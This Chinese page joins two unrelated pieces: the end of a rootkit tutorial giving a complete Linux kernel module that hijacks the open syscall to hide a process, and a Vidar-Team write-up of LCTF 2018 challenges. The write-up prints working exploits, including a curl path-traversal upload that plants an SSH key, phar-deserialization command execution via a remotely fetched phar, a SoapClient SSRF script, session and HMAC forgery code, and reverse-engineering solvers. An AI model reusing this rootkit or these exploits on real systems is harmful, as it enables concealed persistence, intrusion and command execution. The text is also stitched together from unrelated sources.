注意：Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息，内核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件则分别用来存放系统正常运行时间和空闲时间。当运行ps命令时，它实际上是打开进程的文件，以使用open()系统调用查看相关信息。当进程首次启动时，会使用系统调用write()将其写入具有相应PID＃的文件中。针对ps命令运行strace就能查找它们，或者查看它使用了哪些系统调用。
这里，我们将使用captainHook.c作为样板：
nano phide.c
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
MODULE_LICENSE("GPL");
MODULE_LICENSE("D0hnuts");
/*MY sys_call_table address*/
//ffffffff81601680
void **system_call_table_addr;
asmlinkage int (*original_open)(const char *pathname, int flags);
asmlinkage int open_hijack(const char *pathname, int flags) {
/*This hooks all OPEN sys calls and check to see what the path of the file being opened is
currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/
if(strstr(pathname, "/proc/2793/status") != NULL) {
printk(KERN_ALERT "PS PROCESS HIJACKED %sn", pathname);
//The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested
memcpy(pathname, "/proc/2794/status", strlen(pathname)+1);
}
return (*original_open)(pathname, flags);
}
//Make syscall table writeable
int make_rw(unsigned long address){
unsigned int level;
pte_t *pte = lookup_address(address, &level);
if(pte->pte &~_PAGE_RW){
pte->pte |=_PAGE_RW;
}
return 0;
}
// Make the syscall table write protected
int make_ro(unsigned long address){
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte &~_PAGE_RW;
return 0;
}
static int __init start(void){
system_call_table_addr = (void*)0xffffffff81601680;
//return the system call to its original state
original_open = system_call_table_addr[__NR_open];
//Disable page protection
make_rw((unsigned long)system_call_table_addr);
system_call_table_addr[__NR_open] = open_hijack;
printk(KERN_INFO "Open psHook loaded successfully..n");
return 0;
}
static int __exit end(void){
//restore original system call
system_call_table_addr[__NR_open] = original_open;
//Enable syscall table protection
make_ro((unsigned long)system_call_table_addr);
printk(KERN_INFO "Unloaded Open psHook successfullyn");
return 0;
}
module_init(start);
module_exit(end);
复制前面使用的Makefile，同时将顶部的"captainHook.o"替换为“phide.o”。
然后，输入下列命令
make
以及
insmod phide.ko (一定别忘了使用dmesg命令） :
如您所见，这里成功实现了隐身！除此之外，还可以使用这里介绍的方法来隐藏多个进程。
**如何防御？**
你可能注意到了，我这里只是使用另一个正在运行的进程来隐藏我们的进程。所以在PS表中会有重复的PID。这很容易被发现，但有一些方法可以完全隐藏它，我计划在未来的rootkit文章中加以介绍。
记得早些时候我提到的lsmod命令吗？ 它就可以列出在内核上运行的模块，效果具体如下图所示。
要想查看所有模块，可以使用：
cat/proc/modules
因为rootkits通常在内存中待命，所以最好使用一个可以主动寻找rootkit的程序，例如：
kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
chkroot – http://www.chkrootkit.org/
kernel check – http://la-samhna.de/library/kern_check.c
**结束语**
我们希望本文能够帮您了解系统调用、内核空间和用户空间方面的相关知识。最重要的是，通过阅读本文，可以让您意识到钩住系统调用其实非常简单的事情，同时，也让您意识到只需少的可怜的编程技巧就足以让你为所欲为。当然，还有一些非常先进的rootkits类型，我们将后续的文章中陆续加以介绍。在下一篇文章中，我们介绍如何在无需查找PID的情况下隐藏进程。 | 社区文章 |
> by Vidar-Team
Team：<http://vidar.club>
* * *
[TOC]
* * *
# WEB
## Travel
源码
# -*- coding: utf-8 -*- from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()
@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' and pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text=True))
return "1"
return "0"
@app.route('/', methods=['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout=10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
@app.route('/source', methods=['GET'])
def get_source():
return open(__file__).read()
if __name__ == '__main__':
app.run()
使用X-HTTP-Method-Override: PUT就可以上传文件了
<https://cloud.tencent.com/document/product/215/20109>
腾讯云文档中可以看到怎么获得mac地址
这能拿到mac地址
<http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac>
传.ssh
curl -X GET -H "X-HTTP-Method-Override: PUT" -H "Cookie: name=lctf;pwd=90520735500403" "http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys" -F "authorized_keys=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMecVVKChtdzTHnJ5+6+gdcspJ2zyTNlw9fEp6xJOPKB1MA+hthPdb0BQkIKpSSknALLJYe0Ro7RIfzXxmzsWneD8Iq9xbl3G65v7QlzMujgNPARQTvqf0CE5DvSEn13PM9yMNLw+3w8ZLSmtyAvfXl4rN8vUoBaxlVVawMGoZc82jQJOmua7sDpJ+Qt0W5KrDf2TCwP2HR93Z83Qzc5AhVlkC8YGPxW0b2es9toftJ1REAoSz14hGvqZWM0V8eEUmpE8ohXce50RhLnxJc8/jVcqLCvFYPqEJfFzwaeFMCfi5FEVLmIgA2DtSYtige/Zvm7MqAdwHh+i28S9yL/Jl [email protected]"
flag在/app/flag下
## T4lk 1s ch34p,sh0w m3 the sh31l
> <http://212.64.7.171/LCTF.php>
>
>
>
先上传再phar反序列化
可能是非预期,但绕过了头限制,安全客的文章可以通过协议传导compress.zlib://phar://这种方式来执行phar
在check的地方phar反序列化
[http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=](http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=)
view-source:[http://212.64.7.171/LCTF.php?ddog=ls%20etc/gtk-2.0/&m=check&c=compress.zlib://phar://../data/91200e7711b3ad7115ad4860a404d335/avatar.gif](http://212.64.7.171/LCTF.php?ddog=ls%20etc/gtk-2.0/&m=check&c=compress.zlib://phar://../data/91200e7711b3ad7115ad4860a404d335/avatar.gif)
看进程里他们都在sh -c grep -ir "lctf" > /tmp/xxx
直接看tmp目录下就行了
## bestphp's revenge
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
可以通过extract把b给改了
<http://172.81.210.82/flag.php>
反序列化+ssrf
SoapClient 之前N1CTF有过
php session的反序列化
session_start可以设置，直接可以传数组
session_start
序列化一个soap访问flag.php，然后$b替换成call_user_func，在var_dump出错误信息，得到session_id，替换下就可以了
import requests
import re
url = "http://172.81.210.82/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text
data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
rs = re.findall(r'string\(26\) "(.*?)"', html)
url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html
## sh0w m3 the sh31l 4ga1n
继续非预期 神奇的发现第二题的`$SECRET==NULL` 直接伪造反序列化结束
php伪造脚本
<?php
class K0rz3n_secret_flag {
protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif";
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
// include_once($this->file_path);
}
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL);
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));
传shell
GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close
执行命令
GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close
flag在哪
view-source:[http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf](http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf)
## L playground2
os.path.join
If a component is an absolute path, all previous components are thrown away
and joining continues from the absolute path component.
> file://sandbox//var/www/project/playground/
> file://sandbox//var/www/project/playground/__pycache__
main.cpython-37.pyc
from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
@app.route('/sandbox')
def render_static():
if not check_token(request.args.get('token')):
resp = make_response('invalid request')
else:
url = request.args.get('url')
try:
if url is None or url == '':
content = 'no url input'
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response('url error')
resp.mimetype = 'text/plain'
return resp
app.run(port=5000)
utils.py
import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16
def random_str(length=5):
random.seed(None)
return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))
def get_username():
username = random_str(length=5)
if username != 'admin':
return username
else:
return get_username()
def check_token(token):
if token == '' or token is None:
return False
try:
token = str.replace(token, ' ', '+')
token = base64.b64decode(token)
cipher = AES.new(key, AES.MODE_ECB)
token = cipher.decrypt(token)
token = unpad(token, block_size)
token = str(token, 'utf-8')
except Exception as e:
try:
return False
finally:
e = None
del e
token = str.split(token, '@')
if len(token) != 4:
return False
try:
w = int(token[0])
h = int(token[1])
ua = token[2]
ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
except Exception as e:
try:
return False
finally:
e = None
del e
if w < 100 or h < 100:
return False
if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
return False
now = datetime.datetime.now()
if ts < now + (datetime.timedelta(minutes=3)):
if ts > now - (datetime.timedelta(minutes=3)):
return True
return False
session.py
import base64
from hash import MDA
from flag import seed
def encode(info):
return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')
def decode(info):
return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
def hash_verify(hash_info, info):
return hash_encode(info) == hash_info
def session_encode(info):
return '%s.%s' % (encode(info), hash_encode(info))
def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_
hash.py
# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct 2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct
def _bytelist2long(list):
imax = len(list) // 4
hl = [0] * imax
j = 0
i = 0
while i < imax:
b0 = ord(list[j])
b1 = ord(list[j + 1]) << 8
b2 = ord(list[j + 2]) << 16
b3 = ord(list[j + 3]) << 24
hl[i] = b0 | b1 | b2 | b3
i = i + 1
j = j + 4
return hl
def _rotateLeft(x, n):
return x << n | x >> 32 - n
def F(x, y, z):
return x & y | ~x & z
def G(x, y, z):
return x & z | y & ~z
def H(x, y, z):
return x ^ y ^ z
def I(x, y, z):
return y ^ (x | ~z)
def XX(func, a, b, c, d, x, s, ac):
res = 0
res = res + a + func(b, c, d)
res = res + x
res = res + ac
res = res & 65535
res = _rotateLeft(res, s)
res = res & 65535
res = res + b
return res & 65535
class MDA:
def __init__(self, seed='lctf2018'):
self.seed = seed
self.init()
def init(self):
self.length = 0
self.count = [0, 0]
self.input = []
random.seed(self.seed)
self.A = random.randint(3326, 27529)
self.B = random.randint(3326, 27529)
self.C = random.randint(3326, 27529)
self.D = random.randint(3326, 27529)
def _transform(self, inp):
a, b, c, d = A, B, C, D = (
self.A, self.B, self.C, self.D)
S11, S12, S13, S14 = (7, 12, 17, 22)
a = XX(F, a, b, c, d, inp[0], S11, 42104)
d = XX(F, d, a, b, c, inp[1], S12, 46934)
c = XX(F, c, d, a, b, inp[2], S13, 28891)
b = XX(F, b, c, d, a, inp[3], S14, 52974)
S21, S22, S23, S24 = (5, 9, 14, 20)
a = XX(G, a, b, c, d, inp[1], S21, 9570)
b = XX(G, b, c, d, a, inp[0], S24, 51114)
c = XX(G, c, d, a, b, inp[3], S23, 3463)
d = XX(G, d, a, b, c, inp[2], S22, 41976)
S31, S32, S33, S34 = (4, 11, 16, 23)
a = XX(H, a, b, c, d, inp[1], S31, 59972)
d = XX(H, d, a, b, c, inp[0], S32, 10234)
c = XX(H, c, d, a, b, inp[3], S33, 12421)
b = XX(H, b, c, d, a, inp[2], S34, 22117)
S41, S42, S43, S44 = (6, 10, 15, 21)
a = XX(I, a, b, c, d, inp[0], S41, 8772)
d = XX(I, d, a, b, c, inp[3], S42, 52370)
b = XX(I, b, c, d, a, inp[1], S44, 24017)
c = XX(I, c, d, a, b, inp[2], S43, 53947)
A = A + a & 32767
B = B + b & 32767
C = C + c & 32767
D = D + d & 32767
self.A, self.B, self.C, self.D = (
A, B, C, D)
def update(self, inBuf):
leninBuf = len(inBuf)
index = self.count[0] >> 3 & 15
self.count[0] = self.count[0] + (leninBuf << 3)
if self.count[0] < leninBuf << 3:
self.count[1] = self.count[1] + 1
self.count[1] = self.count[1] + (leninBuf >> 29)
partLen = 16 - index
if leninBuf >= partLen:
self.input[index:] = list(inBuf[:partLen])
self._transform(_bytelist2long(self.input))
i = partLen
while i + 15 < leninBuf:
self._transform(_bytelist2long(list(inBuf[i:i + 16])))
i = i + 16
else:
self.input = list(inBuf[i:leninBuf])
else:
i = 0
self.input = self.input + list(inBuf)
def insert(self, inBuf):
self.init()
self.update(inBuf)
def digest(self):
A = self.A
B = self.B
C = self.C
D = self.D
input = [] + self.input
count = [] + self.count
index = self.count[0] >> 3 & 15
if index < 8:
padLen = 8 - index
else:
padLen = 24 - index
padding = ['\x80'] + ['\x00'] * 15
self.update(padding[:padLen])
bits = _bytelist2long(self.input[:8]) + count
self._transform(bits)
digest = struct.pack('<hhhh', self.A, self.B, self.C, self.D)
self.A = A
self.B = B
self.C = C
self.D = D
self.input = input
self.count = count
return digest
def hexdigest(self):
return ''.join(['%02x' % ord(chr(c)) for c in self.digest()])
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group
parser.py
import re, os
http_schema = re.compile('https?')
url_parser = re.compile('(\\w+)://([\\w\\-@\\.:]+)/?([\\w/_\\-@&\\?\\.=%()]+)?(#[\\w\\-@&_\\?()/%]+)?')
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sandbox')
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if './' in filename or '..' in filename:
return 'invalid content in url'
elif not filename.startswith(base_dir):
return 'url have to start with %s' % base_dir
elif filename.endswith('py') or 'flag' in filename:
return 'invalid content in filename'
elif os.path.isdir(filename):
file_list = os.listdir(filename)
return ', '.join(file_list)
elif os.path.isfile(filename):
with open(filename, 'rb') as (f):
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return 'invalid url'
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == 'file':
if host != 'sandbox':
return 'wrong file path'
return parse_file(path)
else:
return 'unknown schema'
得解码出admin
cookie分两部分
前面用户名的base32结果的hash得和cookie的第二部分相同
hash算法用了一个未知的seed
OZJE25ZT.060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
vRMw3
info = str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8') #OZJE25ZT
hash(info) == info2
# info2: 060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
random.seed 不管是啥结果都会转成int
<https://docs.python.org/3/library/random.html>
grouping 完全就是单字节映射。。。
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
import requests
import base64
import time
lists = ['a','d','m','i','n']
h = ''
for x in lists:
while 1:
print 'try'
headers = headers = {'User-Agent':'chrome'}
r=requests.get('http://212.64.7.239/',headers)
cookie = r.headers['Set-Cookie']
cookie = cookie.split('=')[1]
info_list = cookie.split('.')
info = info_list[0]
info2 = info_list[1]
username = base64.b32decode(info)
print username
if x in username:
idx = username.index(x)
h += info2[idx*16:(idx+1)*16]
print h
break
print 'cookie: ' + base64.b32encode('admin') + '.' + h
# RE
## 拿去签到吧朋友
首先在start函数内藏了一段smc 在sub_402870内调用了sub_40143f继续调用了sub_401451
将sub_408000修改了。这一段代码我是在跟'idaq.exe'这些反调的字符串时跟到的，对于最后解那段smc有帮助。
主函数还是经典的crackme，输入36个字符做判断。输入的字符构建了一个字典树，最后的检测分为两段，第一段做了一个先序遍历，将先序遍历的结果做一个DES加密(密钥为'fa1conn\x00')后再将加密后的的前36个字节做一个矩阵乘法，最后做一个先序遍历的字符对应在原输入串的位置的判断。所以只要解一个矩阵乘法，将DES解密就能拿到所有的字符，且知道前半段的顺序，脚本如下:
from Crypto.Cipher import DES
from z3 import *
solver = Solver()
flag = [Int('flag%d'%i) for i in range(36)]
a = [i for i in flag]
b = [23, 65, 24, 78, 43, 56, 59, 67, 21, 43, 45, 76, 23, 54, 76, 12, 65, 43, 89, 40, 32, 67, 73, 57, 23, 45, 31, 54, 31, 52, 13, 24, 54, 65, 34, 24]
c = [0 for i in range(36)]
d = [43666, 49158, 43029, 51488, 53397, 51921, 28676, 39740, 26785, 41665, 35675, 40629, 32311, 31394, 20373, 41796, 33452, 35840, 17195, 29175, 29485, 28278, 28833, 28468, 46181, 58369, 44855, 56018, 57225, 60666, 25981, 26680, 24526, 38780, 29172, 30110]
for i in range(6):
for j in range(6):
for k in range(6):
c[i+6*j] = c[i+6*j] + a[6*j+k]*b[6*k+i]
solver.add(simplify(c[i+6*j]) == d[i+6*j])
if solver.check() == sat:
m = solver.model()
s = []
for i in range(36):
s.append(m[flag[i]].as_long())
print(s)
else:
print('error')
s += [0x73,0x3c,0xf5,0x7c]
obj = DES.new('fa1conn\x00',DES.MODE_ECB)
message2 = ''
for i in s:
message2 += chr(i)
charList = obj.decrypt(message2)
listA = [0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5]
flag = ''
for i in listA:
flag += charList[i]
print(flag)
这样就将前半段还原了，后半段的加密很类似，只是这次做了一个后序遍历，且在sub_4021de中做了对sub_401e79的smc，xor
rand(),seed用的是所有字符的和。由于sub_401e79在start后已经被xor了一次，所以假如像我这样逆向从后往前逆的人会非常痛苦，直接爆破是肯定出不来的。最后是有一个后续遍历的字符对应在原输入串的位置的判断，且这里都是后半段的字符，所以这里解完就能拿到flag了。那段smc解完如下:
_DWORD *__usercall sub_401E8F@<eax>(int a1@<ebp>)
{
_DWORD *result; // eax
while ( *(_DWORD *)(a1 - 12) <= 35 )
{
for ( *(_DWORD *)(a1 - 16) = 0; *(_DWORD *)(a1 - 16) <= 6; *(_DWORD *)(a1 - 16) += 2 )
array1[*(_DWORD *)(a1 - 12)] = *(_BYTE *)(*(_DWORD *)(a1 - 12) + 0x40B610) ^ (1 << (*(_BYTE *)(a1 - 16)
+ *(_DWORD *)(a1 - 12) % 2));
result = (_DWORD *)(a1 - 12);
++*result;
}
return result;
}
就是将后续遍历的值做一个xor，解开xor就能拿到后续遍历的字符串。poc如下
listA = [0x7C, 0x81, 0x61, 0x99, 0x67, 0x9B, 0x14, 0xEA, 0x68, 0x87, 0x10,0xEC, 0x16, 0xF9,0x7, 0xF2, 0x0F, 0xF3,0x3, 0xF4, 0x33, 0xCF,0x27, 0xC6, 0x26, 0xC3, 0x3D, 0xD0, 0x2C, 0xD2, 0x23, 0xDE,0x28, 0xD1,0x1, 0xE6]
flag = ''
for i in range(len(listA)):
for j in range(4):
listA[i] ^= (1 << ((j * 2) + (i % 2)))
flag += chr(listA[i])
listB = [0x18,0x17,0x22,0x21,0x20,0x14,0x1a,0x15,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1e,0x1f,0x16,0x13,0x12,0x19,0xff,0xff,0xff,0xff,0xff,0xff,0x1d,0x1c,0x1b,0xff,0xff,0x23,0xff,0xff,0xff]
listC = [0] * 36
for i in range(len(listB)):
if(listB[i] == 0xff):
continue
else:
listC[listB[i]] = listA[i]
print(''.join(chr(i) for i in listC[18:]))
## easy_VM
opcode = [149, 48, 0, 28, 151, 16, 155, 16, 158, 5, 148, 48, 153, 161, 9, 155, 50, 159, 4, 149, 0, 0, 1,0xa3,146, 0, 159, 1, 163, 149, 0, 0, 128, 149, 32, 0, 63, 149, 48, 0, 123, 149, 64, 0, 28, 151, 16, 141, 18, 139, 19, 143, 16, 152, 16, 153, 148, 64, 135, 64, 146, 64, 159, 1, 163, 138, 64, 161, 22, 163,146, 0, 159, 1, 163, 134, 0, 62, 134, 0, 26, 134, 0, 86, 134, 0, 13, 134, 0, 82, 134, 0, 19, 134, 0, 88, 134, 0, 90, 134, 0, 110, 134, 0, 92, 134, 0, 15, 134, 0, 90, 134, 0, 70, 134, 0, 7, 134, 0, 9, 134, 0, 82, 134, 0, 37, 134, 0, 92, 134, 0, 76, 134, 0, 10, 134, 0, 10, 134, 0, 86, 134, 0, 51, 134, 0, 64, 134, 0, 21, 134, 0, 7, 134, 0, 88, 134, 0, 15, 149, 0, 0, 0, 149, 48, 0, 28, 151, 16, 138, 32, 155, 18, 158, 1, 163, 153, 148, 48, 146, 48, 159, 5, 149, 0, 0, 1, 163, 161, 21, 163]
reg = ['eax','ebx','ecx','edx','edi']
i = 0
while(1):
if(opcode[i] == 0x86):
print(i,'push %d'%((opcode[i + 1] << 32) + opcode[i + 2]))
i += 2
elif(opcode[i] == 0x87):
print(i,'push ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x88):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%opcode[i + 2])
i += 1
elif(opcode[i] == 0x89 or opcode[i] == 0x96):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8a):
print(i,'pop ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x8b):
print(i,'add ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8c):
print(i,'sub ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8d):
print(i,'mul ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8e):
print(i,'div ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x8f):
print(i,'mod ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x90):
print(i,'xor ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x91):
print(i,'and ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x92):
print(i,'mov edi,' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x93):
print(i,'inc ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x94):
print(i,'dec ' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x95):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%((opcode[i + 2] << 32) + opcode[i + 3]))
i += 3
elif(opcode[i] == 0x97):
print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + 'input')
i += 1
elif(opcode[i] == 0x98):
print(i,'mov ' + 'input' + ',' + reg[opcode[i + 1] >> 4])
i += 1
elif(opcode[i] == 0x99):
print(i,'inc input')
elif(opcode[i] == 0x9a):
print(i,'add input,4')
elif(opcode[i] == 0x9b):
print(i,'cmp ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
i += 1
elif(opcode[i] == 0x9c):
print(i,'jl ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0x9d or opcode[i] == 0x9f):
print(i,'jg ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0x9e):
print(i,'je ' + '%d'%(i + opcode[i + 1] + 2))
i += 1
elif(opcode[i] == 0xa1):
print(i,'jmp ' + '%d'%(i - opcode[i + 1]))
i += 1
elif(opcode[i] == 0xa3):
print(i,'break')
else:
i += 1
i += 1
listA = [62,26,86,13,82,19,88,90,110,92,15,90,70,7,9,82,37,92,76,10,10,86,51,64,21,7,88,15][::-1]
import string
flag = ''
#((input * 63) + 123) % 128
for i in range(len(listA)):
for j in string.printable:
if((ord(j) * 63 + 123) % 128) == listA[i]:
flag += j
print(flag)
## 想起「 Lunatic Game 」
这道题是真签到题。
就是一个扫雷游戏，map每次都不一样，玩通游戏就给你flag。
考虑到flag都应该是相同的，那么做法其实就很多了，改跳转改ip都可以，但我第一次改ip是炸了的，又不想去看程序，
也怕中间又比较了点东西，就用x64dbg将地图dump了下来，完整扫了一遍雷，就拿到flag了~
## 想起「壶中的大银河 ～ Lunatic 」
sub_39D3 从虚表入手
8D30这个函数里会调用xor虚表，构造的时候就xor了0x35
用LCTF构造的时候就xor了0x35353535 -> yvas
0x10101010是在sub_8c98那边，两种构造方式
第一次到
v5 = g_0((__int64)&pcbc);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v5 + 0x10LL))(v5, 0x35LL);
PCBC->evwv
第一次到
v6 = g_0((__int64)&input);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v6 + 0x10LL))(v6, 0x31LL);
input aaaa->qqqq（这边input xor了0x10）
第一次到
v7 = g_0((__int64)&tmp);
(*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v7 + 0x10LL))(v7, 0x34LL);
LCTF->yvas (构造xor了0x35)
第一个的vtable是xor
第二个是plus
第三个也是xor
最后做一个map
def encrypt(input_list):
pcbc = 0x50434243
out_list=[]
for input in input_list:
lctf = 0x4c435446
tmp = lctf ^ 0x35353535 # construct
input = input ^ 0x10101010 # construct2
print hex(input)[2:].decode('hex')
pcbc ^= 0x35353535
print hex(pcbc)[2:].decode('hex')
input ^= 0x31313131 ^ 0x11111111
print hex(input)[2:].decode('hex')
tmp ^= 0x34343434
input ^= pcbc
print hex(input)[2:].decode('hex')
tmp ^= input ^ 0x11111111
